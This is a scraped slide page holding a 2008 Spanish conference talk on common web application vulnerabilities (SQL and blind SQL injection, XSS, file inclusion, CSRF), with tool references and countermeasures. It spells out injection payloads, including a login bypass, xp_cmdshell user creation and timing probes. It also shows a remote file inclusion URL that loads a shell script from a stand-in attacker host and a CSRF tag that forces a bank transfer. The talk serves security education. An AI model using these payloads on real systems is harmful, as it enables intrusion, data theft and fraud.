POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...silviayucra2
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricKeyla Dolores Méndez
 
Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfsoporteupcology
 
trabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdftrabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdfIsabellaMontaomurill
 
Plan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docxPlan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docxpabonheidy28
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveFagnerLisboa3
 
La era de la educación digital y sus desafios
La era de la educación digital y sus desafiosLa era de la educación digital y sus desafios
La era de la educación digital y sus desafiosFundación YOD YOD
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)GDGSucre
 
Hernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptxHernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptxJOSEMANUELHERNANDEZH11
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan JosephBRAYANJOSEPHPEREZGOM
 
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIAWilbisVega
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudianteAndreaHuertas24
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíassuserf18419
 
KELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesKELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesFundación YOD YOD
 

Último (16)

Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx
 
Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024Cortes-24-de-abril-Tungurahua-3 año 2024
Cortes-24-de-abril-Tungurahua-3 año 2024
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
 
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
 
Redes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdfRedes direccionamiento y subredes ipv4 2024 .pdf
Redes direccionamiento y subredes ipv4 2024 .pdf
 
trabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdftrabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdf
 
Plan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docxPlan de aula informatica segundo periodo.docx
Plan de aula informatica segundo periodo.docx
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial Uninove
 
La era de la educación digital y sus desafios
La era de la educación digital y sus desafiosLa era de la educación digital y sus desafios
La era de la educación digital y sus desafios
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)
 
Hernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptxHernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptx
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Joseph
 
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE  DE TECNOLOGIA E INFORMATICA PRIMARIACLASE  DE TECNOLOGIA E INFORMATICA PRIMARIA
CLASE DE TECNOLOGIA E INFORMATICA PRIMARIA
 
9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante9egb-lengua y Literatura.pdf_texto del estudiante
9egb-lengua y Literatura.pdf_texto del estudiante
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnología
 
KELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesKELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento Protégeles
 

Principales vulnerabilidades en Aplicaciones Web - Rediris 2008

  • 1. Principales vulnerabilidades en aplicaciones Web Christian Martorella Edge-security.com 1
  • 2. #Whoami: Christian Martorella Cofundador Edge-security.com CISSP, CISM, CISA, OPST, OPSA Actualmente trabajando en Presidente de las Conferencias F.I.S.T Miembro de OISSG http://laramies.blogspot.com 2
  • 3. Escenario actual El servicio más difundido y utilizado es WWW 75% de los ataques ocurren en las aplicaciones Web (Gartner) 3 de 4 servidores son vulnerables a los ataques web (Gartner) Cada 1500 líneas de código hay una vulnerabilidad (IBM) 3
  • 4. Escenario actual Aumento del uso de aplicaciones web en el día a día, Banca online, redes sociales, etc Web 2.0 añade mayor complejidad y nuevos vectores de ataque Los firewall permiten el paso de este servicio y no pueden hacer nada al respecto Punto de contacto con las bases de datos ($$) Cada vez los datos personales tienen más valor, y hay más interesados en ellos. 4
  • 5. Escenario actual Precio de los datos: 5
  • 6. Escenario actual Ataques de phishing y fraude online (Launch pad, infection point) 6
  • 7. Escenario actual - 4396 vulnerabilidades Web Applications Otras vulnerabilidades 7
  • 8. Escenario actual - Vulnerabilidades más explotadas: PHP Remote File Inclusion SQL Injection Cross Site Scripting (XSS) Cross Site request forgery (CSRF) 8
  • 9. Escenario actual - WASC Porcentaje de sitios vulnerable por tipo de vulnerabilidad Cross site Scripting Other Information Leakage Http Response Splitting SQL Injection SSI Injection Web Application Security Consortium 2006 9
  • 10. Escenario actual - WASC Vulnerabilidades más comúnes x clase 85.57 26.38 Cross Site Scripting 15.70 SQL Injection Information Leakage 9.76 HTTP Response Splitting Path Traversal 1.19 Other 4.30 0 25 50 75 100 Web Application Security Consortium 2006 10
  • 11. Escenario actual - OWASP Open Web Application Security Project Cantidad de proyectos relacionados con la seguridad de aplicaciones web Uno de ellos el Top 10 de vulnerabilidades 11
  • 12. OWASP TOP 10 Cross Site Scripting (XSS) Injection Flaws (SQL, LDAP) Malicious File Execution Insecure Direct Object Reference Cross Site Request Forgery (CSRF) 12
  • 13. OWASP TOP 10 Information Leakage and Improper Error Handling Broken Authentication and Session Management Insecure Cryptographic Storage Insecure Communications Failure to Restrict URL Access 13
  • 20. SQL injection SQL: Structured Query Language Utilizado para consultar y administrar Bases de Datos Query / consulta: Unidad típica de ejecución. Consultas básicas: SELECT, INSERT, UPDATE. 20
  • 21. SQL injection SELECT * FROM usuarios WHERE name=”laramies”; SELECT id FROM usuarios; SELECT nombre FROM usuarios UNION SELECT name FROM employees; 21
  • 22. SQL injection La inyección de código SQL se produce cuando datos suministrados por el usuario son enviados sin filtrar a un intérprete como parte de una consulta (Query), con el fin de modificar el comportamiento original, para ejecutar comandos o consultas arbitrarias en la base de datos. 22
  • 23. SQL injection <code> sql_query= “SELECT * FROM users WHERE username = '" + username_string + "' AND userpass = '" + password_string + "'" </code> 23
  • 24. SQL injection Consulta final en DB: SELECT * FROM users WHERE OK! username = 'laramies' AND userpass = 'test' 24
  • 25. SQL injection Consulta final en DB: SELECT * FROM users WHERE username = 'laramies'' AND userpass = 'test' Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' AND userpass=userpass_string'. 25
  • 26. SQL injection Consulta final en DB: SELECT * FROM users WHERE username = '' or 1=1;-- AND userpass = 'test' OK!! Acceso permitido con el primer usuario de la DB 26
  • 27. SQL injection Evadir autenticaciones, controles de acceso. Obtener y/o modificar datos arbitrarios de la base de datos Leer ficheros del sistema operativo Ejecutar comandos en el Sistema Operativo 27
  • 28. SQL injection SELECT * FROM usuarios WHERE name=’laramies’;exec master..xp_cmdshell(net user laramies /add);-- SELECT * FROM usuarios WHERE name=’laramies’;shutdown-- 28
  • 29. SQL injection DEMOS [SQL Injection] 29
  • 30. SQL injection - Tools Sqlbif: http://www.open-labs.org/ SqPyfia: http://www.edge-security.com Sqlmap: http://sqlmap.sourceforge.net/ Sqlix : http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project 30
  • 32. Blind SQL injection Blind SQL injection es igual al SQL injection, pero con la diferencia que no se obtienen mensajes de error ni resultados en las respuestas. Es más difícil de explotar y lleva más tiempo obtener los resultados. Se ocultaron los mensajes de error, pero no se arregló la vulnerabilidad. 32
  • 33. Blind SQL injection Se puede explotar mediante consultas SQL con evaluaciones lógicas del tipo True ó False. http://newspaper.com/items.php?id=2 SELECT title, description, body FROM items WHERE ID = 2 Y como resultado en el browser obtenemos: “Conferencia de Rediris el día 28” 33
  • 34. Blind SQL injection http://newspaper.com/items.php?id=2 and 1=0 SELECT title, description, body FROM items WHERE ID = 2 and 1=0 Como resultado en el browser obtenemos: “No se encontro articulo en la Base de datos” ID = 2 and 1=0 True and False False 34
  • 35. Blind SQL injection http://newspaper.com/items.php?id=2 and 1=1 SELECT title, description, body FROM items WHERE ID = 2 and 1=1 Como resultado en el browser obtenemos: “Conferencia de Rediris el dia 28” 35
  • 36. Blind SQL injection “No se encontró artículo en la Base de datos” 43 chars != “Conferencia de Rediris el día 28” 32 chars 36
  • 37. Blind SQL injection Como podemos explotarla? http://newspaper.com/items.php?id=2 and 1=1 OK http://newspaper.com/items.php?id=2 and 1=0 NO Hay que averiguar el tipo de DB: http://newspaper.com/items.php?id=2 and user()=user() OK --> MYSQL 37
  • 39. Blind SQL injection sql.php?id=1 and substr(user(),1,1) = “a” NO “No se encontró artículo en la Base de datos” sql.php?id=1 and substr(user(),1,1) = “b” NO “No se encontró artículo en la Base de datos” sql.php?id=1 and substr(user(),1,1) = “c” NO “No se encontró artículo en la Base de datos” sql.php?id=1 and substr(user(),1,1) = “d” NO “No se encontró artículo en la Base de datos” sql.php?id=1 and substr(user(),1,1) = “e” NO “No se encontró artículo en la Base de datos” sql.php?id=1 and substr(user(),1,1) = “f” OK “Conferencia de Rediris el día 28” Primer carácter del resultado de la función user() es “f” 39
  • 40. Blind SQL injection sql.php?id=1 and ascii(substr(user(),1,1)) > 100 OK El valor ascii de la primer letra del usuario > 100 sql.php?id=1 and ascii(substr(user(),1,1)) > 100 OK sql.php?id=1 and ascii(substr(user(),1,1)) >150 NO sql.php?id=1 and ascii(substr(user(),1,1)) >125 NO sql.php?id=1 and ascii(substr(user(),1,1)) >112 OK sql.php?id=1 and ascii(substr(user(),1,1)) >118 OK sql.php?id=1 and ascii(substr(user(),1,1)) >114 NO sql.php?id=1 and ascii(substr(user(),1,1)) >113 OK sql.php?id=1 and ascii(substr(user(),1,1)) =114 OK Primer carácter del resultado de la función user() es “r” 40
  • 41. Blind SQL injection Si el comportamiento es el mismo, estamos seguros de que no hay SQL injection? NO... SELECT title, description, body FROM items WHERE ID = 2 and 1=0 32 Chars SELECT title, description, body FROM items WHERE ID = 2 and 1=1 32 Chars 41
  • 42. Blind SQL injection Pero podemos usar algunas opciones como: Timing Condicionales (IF) WAIT FOR DELAY '0:0:10' SQL Server BENCHMARK() MySQL pg_sleep(10) PostgreSQL 42
  • 43. Blind SQL injection SELECT title, description, body FROM items WHERE ID = 2 ;waitfor delay '0:0:15'-- Tiempo de ejecución > = 15 seg OK! SELECT title, description, body FROM items WHERE ID = 2;if (select user) = 'sa' waitfor delay '0:0:15' Tiempo de ejecución > = 15 OK! Sabemos que el usuario es “SA” 43
  • 44. Blind SQL injection DEMOS [Blind] 44
  • 46. SQL injection Contramedidas: Validar los datos de entrada, White Lists Utilización de procedimientos almacenados parametrizados Conexiones con mínimos privilegios, granularidad Validar, validar, validar, y por las dudas validar. 46
  • 47. Blind SQL injection Herramientas: Sqlbif: http://www.open-labs.org/ SqPyfia: http://www.edge-security.com Pblind: http://www.edge-security.com Sqlmap: http://sqlmap.sourceforge.net/ Sqlix : http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project 47
  • 50. Cross Site Scripting XSS La vulnerabilidad ocurre cuando una aplicación recibe datos enviados por el usuario, y los devuelve al browser sin validarlos o codificarlos. Para poder explotar esta vulnerabilidad generalmente el atacante tendrá que engañar a la víctima en abrir un link, visitar una página, ver una imagen, etc... 50
  • 51. Cross Site Scripting XSS Que se puede hacer con ellos?: Robo de información de autenticación y secuestro de cuentas Robo y envenenamiento de cookies Website Deface Phishing 51
  • 52. Cross Site Scripting XSS Más.. Log Keystrokes Deface websites Port Scan Intranet XSRF Abusar de vulnerabilidades del Robar History browser 52
  • 53. Cross Site Scripting XSS Tipos: Persistente o Almacenado No persistente ó reflejado (más común) Basados en DOM (Document Object Model) 53
  • 54. Cross Site Scripting XSS No Persistente - Reflejado 1.Alice visita el sitio “XSSLand”, donde tiene una cuenta para acceder a sus datos personales. 2. Haxor encuentra un XSS de tipo “No persistente” en “XSSLand”. 3. Haxor prepara una URL que explota la vulnerabilidad, y envia el link a través del correo, haciendose pasar por el servicio de administración de “XSSLand” 4. Alice visita la URL que envio Haxor mientras esta logueada en “XSSLand” 5. El script incrustado en la URL, se ejecuta en el Browser, como si viniera de “XSSLand”. El script envia la cookie de sesión a Haxor. Ahora Haxor puede acceder a “XSSLand” como si fuera Alice y obtener o modificar la información disponible. 54
  • 55. Cross Site Scripting XSS Persistente 1. El sitio “XSSLAND” permite a los usuarios enviar mensajes en un foro, así como firmar el libro de visitas. 2. Haxor detecta que el sitio “XSSLand” es vulnerable a un XSS de tipo persistente. 3. Haxor envia un mensaje controversial o con gancho, para animar a otros usuarios a verlo. 4. Solo con ver el mensaje, la cookie de sesión de los usuarios sera enviada a un servidor controlado por Haxor sin que los usuarios se den cuenta. 5. Posteriormente Haxor, accede con las cookies de sesión de los otros usuarios y envia mensajes suplantando la identidad de las victimas. 55
  • 58. Cross Site Scripting XSS DEMO [Consola Beef] 58
  • 59. Cross Site Scripting XSS Contramedidas: Filtrar todo el contenido que recibimos para evitar que se incluyan tags de scripting, aceptando solo los valores válidos. (White Lists) Antes de almacenar y de volver a mostrar los datos a los usuarios, se recomienda transformar los meta- caracteres, que permiten esta vulnerabilidad, a su entidad HTML correspondiente. > &gt; < &lt; & &amp; Validar, validar, validar, y por las dudas validar. 59
  • 61. File inclusion La inclusión remota de ficheros o código permite a los atacantes incluir código y datos arbitrarios en la aplicación vulnerable, que luego se ejecutará en el servidor. Muchas aplicaciones permiten subir ficheros, fotos, documentos, etc... (Upload) La inclusión de los ficheros puede ser tanto local como remota 61
  • 62. File inclusion La podemos encontrar en urls del tipo: http://vulnsite.com/leer.php?file=news.php http://vulnsite.com/area.php?file=news http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php%00 Si logramos incluir código, ficheros o realizar un upload podemos... 62
  • 63. File inclusion Ejecutar comandos a través de una consola web. (Darkraver web-kit) Paneles de control (c99, r57) Cliente SQL a través de http. Subir y ejecutar cualquier binario (Port redirectors, túneles, etc) Cualquier cosa que se nos ocurra. Control total del servidor :) 63
  • 70. Remote File inclusion (RFI) DEMO [Consola SQL] 70
  • 71. File inclusion Ocultar nombre de ficheros al usuario Desactivar “allow_url_fopen” y “allow_url_include” en PHP.INI Configurar firewalls para prevenir que el servidor Web no pueda realizar conexiones nuevas hacia servidores externos o internos. Utilizar valores que se mapeen con los ficheros necesarios, asi “1” es equivalente a “config_user.ini”, “2” a “config_site.ini” Validar, validar, validar, y por las dudas validar. 71
  • 72. XSRF (Cross Site Request Forgery) 72
  • 73. Cross Site Request Forgery El atacante fuerza al browser de la víctima a realizar una petición, en la sesión autenticada o no, de una aplicación sin el conocimiento del usuario. <IMG SRC=”http://www.mibancaonline.com/ transferencia.asp? amount=1000000&to_account=3l3373” /> 73
  • 74. Cross Site Request Forgery 74
  • 75. Cross Site Request Forgery “Yo no me descargue ese fichero, fui víctima de un CSRF” “It's a problem for forensics people who aren't as familiar with it and might not understand whether it's possible that CSRF could be blamed for what the defendant is accused of. “ Chuck Willis, Principal consultant, Mandiant 75
  • 76. Cross Site Request Forgery Contramedidas: No funciona confiar en el Referrer. No funciona confiar solo en los POST Utilizar tokens Random! (campos HIDDEN) 76
  • 77. Failure to Restrict URL Access 77
  • 78. Failure to Restrict URL Access Usualmente la aplicación protege solamente las funcionalidades más sensibles, evitando publicar los links o las urls a los usuarios no autorizados. Los atacantes explotan esta vulnerabilidad accediendo directamente a estas funcionalidades. 78
  • 79. Failure to Restrict URL Access Existen muchos diccionarios creados para explotar esta vulnerabilidad: Diccionarios de distintos idiomas Diccionarios por contexto dependiendo del servidor Web, servidor de aplicaciones, y Aplicaciones 79
  • 80. Failure to Restrict URL Access Wfuzz 80
  • 81. Failure to Restrict URL Access DEMO [Wfuzz] 81
  • 82. Failure to Restrict URL Access Herramientas: Wfuzz: http://www.edge-security.com/wfuzz.php Dirb: http://www.open-labs.org/ 82
  • 83. 83
  • 84. WebSlayer Nueva herramienta para realizar todo tipo de ataques de fuerza bruta sobre aplicaciones webs. Predictable resource locator, recursion supported Login form bruteforce Session bruteforce Parameter bruteforce Basada en wfuzz Parameter Injection (XSS, SQL) Basic and Ntml Bruteforcing 84
  • 85. WebSlayer Multiple payloads All parameter injection (Get, Post, Headers) NTLM and Basic support and bruteforcing Payload encoding Tailored dictionaries for known applications (Apache, Tomcat, Weblogic, Websphere,Vignette, etc) Thanks to DarkRaver www.open-labs.org 85
  • 86. WebSlayer WebSlayer 86
  • 87. WebSlayer DEMO [Webslayer] 87
  • 88. ProxyStrike Herramienta para auditar aplicaciones WEB Actualmente detecta XSS y SQL Injection Es un proxy que mientras se navega la aplicación, realiza las inyecciones de SQL y XSS en todos los parámetros dinámicos. 88
  • 92. TOOLS www.edge-security.com Wfuzz: http://www.edge-security.com/wfuzz.php WebSlayer: http://www.edge-security.com/webslayer/ Webslayer.html ProxyStrike: http://www.edge-security.com/proxystrike.php 92